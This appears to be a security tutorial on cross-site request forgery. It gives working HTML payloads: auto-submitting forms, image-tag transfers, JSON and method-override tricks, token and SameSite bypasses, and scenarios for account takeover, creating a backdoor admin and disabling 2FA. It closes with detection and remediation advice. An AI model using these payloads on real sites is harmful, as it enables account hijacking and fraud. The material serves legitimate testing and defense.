Skip to Content
Cross-site request forgery attack exploitation

Cross-Site Request Forgery (CSRF): Exploitation and Defense

How CSRF works, how to get past weak token and SameSite defenses, proof-of-concept payloads, and what actually stops it.

Jan 6, 2026
Updated Nov 22, 2026
8 min read

Introduction

Cross-site request forgery (CSRF) gets a logged-in user's browser to send a request the user never meant to send. XSS abuses the user's trust in a site. CSRF abuses the site's trust in the user's browser.

The forged request can do anything the victim is allowed to do: change the account email, move money, reset a password. It works because the browser attaches cookies and HTTP basic auth credentials to requests for that site automatically, no matter which page started the request.

Attack mechanics

Basic CSRF attack flow

  1. User authenticates to vulnerable-site.com
  2. User visits attacker-site.com (while still logged in)
  3. Attacker's page makes request to vulnerable-site.com
  4. Browser includes authentication cookies automatically
  5. Server processes request as legitimate user action

Prerequisites for CSRF

  • There is an action worth forging, such as a password change or a funds transfer.
  • The session is tracked only by cookies (or other credentials the browser sends on its own).
  • The request has no parameter the attacker cannot predict, so no CSRF token or equivalent.

CSRF exploitation techniques

GET-based CSRF

The easiest case. An image tag or a link is enough:

<!-- Auto-submitting via image -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

<!-- Link-based (requires click) -->
<a href="https://bank.com/transfer?to=attacker&amount=10000">Click for prize!</a>

<!-- Multiple requests via images -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">

POST-based CSRF

A hidden form that submits itself on page load:

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker">
      <input type="hidden" name="amount" value="10000">
    </form>
  </body>
</html>

JSON-based CSRF

If the endpoint parses a JSON body without checking Content-Type, a text/plain form can produce valid JSON:

<!-- Using form with enctype -->
<form action="https://api.target.com/user/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>

<!-- Result: {"email":"attacker@evil.com","ignore":"="} -->

CSRF with XHR (if CORS misconfigured)

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://api.target.com/transfer", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({to: "attacker", amount: 10000}));
</script>

Token bypass techniques

Removing CSRF token

Some applications check the token only when the parameter is present:

<!-- Original request -->
<form action="/transfer" method="POST">
  <input name="csrf_token" value="abc123">
  <input name="amount" value="100">
</form>

<!-- Attack: Simply remove the token -->
<form action="https://target.com/transfer" method="POST">
  <input name="amount" value="100">
</form>

Using another user's token

Check whether tokens are bound to the session. If any valid token works, use one from your own account:

<!-- Use your own valid token in attack -->
<form action="https://target.com/transfer" method="POST">
  <input name="csrf_token" value="YOUR_VALID_TOKEN">
  <input name="amount" value="100">
</form>

Token leakage via referer

If the token sits in the URL, it leaks to third-party resources through the Referer header:

<img src="https://attacker.com/log">
<!-- Referer: https://target.com/page?csrf_token=abc123 -->

Predictable tokens

Collect a batch of tokens and look for a pattern:

# Check for:
# - Sequential tokens
# - Timestamp-based tokens
# - Weak PRNG
# - Tokens based on user data (user ID, email hash)

Token fixation

If you can plant a known token in the victim's session, you can reuse it:

1. Get valid token from your session
2. Somehow inject this token into victim's session
3. Use same token in CSRF attack

Method override

Many frameworks accept a method override parameter, which turns a cross-site POST into a PUT or DELETE:

<!-- Override POST to PUT/DELETE -->
<form action="https://target.com/api/user?_method=DELETE" method="POST">
  <input name="id" value="victim">
</form>

<!-- Or via header simulation -->
<form action="https://target.com/api/user" method="POST">
  <input name="_method" value="DELETE">
  <input name="id" value="victim">
</form>

Bypassing SameSite cookies

SameSite=Lax bypass

Lax cookies are still sent on top-level GET navigations, so any state-changing GET endpoint is reachable:

<!-- This works with SameSite=Lax -->
<a href="https://target.com/change-email?email=attacker@evil.com">Click me</a>

<!-- Or via window.open -->
<script>window.open("https://target.com/change-email?email=attacker@evil.com")</script>

Subdomain attacks

SameSite is about the site (registrable domain), not the origin. XSS on any subdomain counts as same-site:

1. Find XSS on subdomain.target.com
2. Use XSS to make requests to main target.com
3. Cookies with SameSite may be included (same site)

OAuth/SSO flows

Login and account-linking flows without a state check are CSRF targets too:

1. Start OAuth flow on attacker site
2. Get authorization code for attacker account
3. Victim clicks link with attacker's auth code
4. Victim's account linked to attacker's external account

Exploitation scenarios

Account takeover via email change

<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.com/account/email" method="POST">
    <input name="new_email" value="attacker@evil.com">
  </form>
</body>
</html>
<!-- Then use password reset on attacker email -->

Admin user creation

<form action="https://target.com/admin/users/create" method="POST">
  <input name="username" value="backdoor">
  <input name="password" value="password123">
  <input name="role" value="admin">
</form>

Financial transactions

<img src="https://bank.com/transfer?to=attacker_account&amount=max" width="0" height="0">

Settings manipulation

<!-- Disable 2FA -->
<form action="https://target.com/settings/2fa/disable" method="POST">
  <input type="submit" value="Submit">
</form>

<!-- Change password (if no re-auth required) -->
<form action="https://target.com/settings/password" method="POST">
  <input name="new_password" value="hacked123">
  <input name="confirm_password" value="hacked123">
</form>

Detection methodology

Manual testing

  1. Identify state-changing endpoints
  2. Analyze request structure (tokens, headers)
  3. Test token validation:
    • Remove token entirely
    • Use empty token
    • Use token from different session
    • Modify token slightly
  4. Test HTTP method alternatives
  5. Check SameSite cookie attributes

Using Burp Suite

1. Capture request in Proxy
2. Right-click → Engagement tools → Generate CSRF PoC
3. Copy HTML to attacker server
4. Test in different browser session

Remediation

CSRF tokens

# Generate cryptographically secure token
import secrets
csrf_token = secrets.token_hex(32)

# Validate on server
if request.form.get('csrf_token') != session.get('csrf_token'):
    abort(403)

SameSite cookies

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
ValueBehavior
StrictNever sent cross-site
LaxSent on top-level GET navigations
NoneAlways sent (requires Secure)

Custom headers

For APIs, require a custom header. A cross-origin page cannot add one without passing a CORS preflight:

// Client
fetch('/api/transfer', {
  headers: { 'X-Requested-With': 'XMLHttpRequest' }
});

// Server validates header presence

Re-authentication for sensitive actions

Ask for the current password or a second factor before password changes, email changes, financial transactions and changes to security settings.

References

MITRE ATT&CK techniques

CWE entries

OWASP resources

Security resources

On this page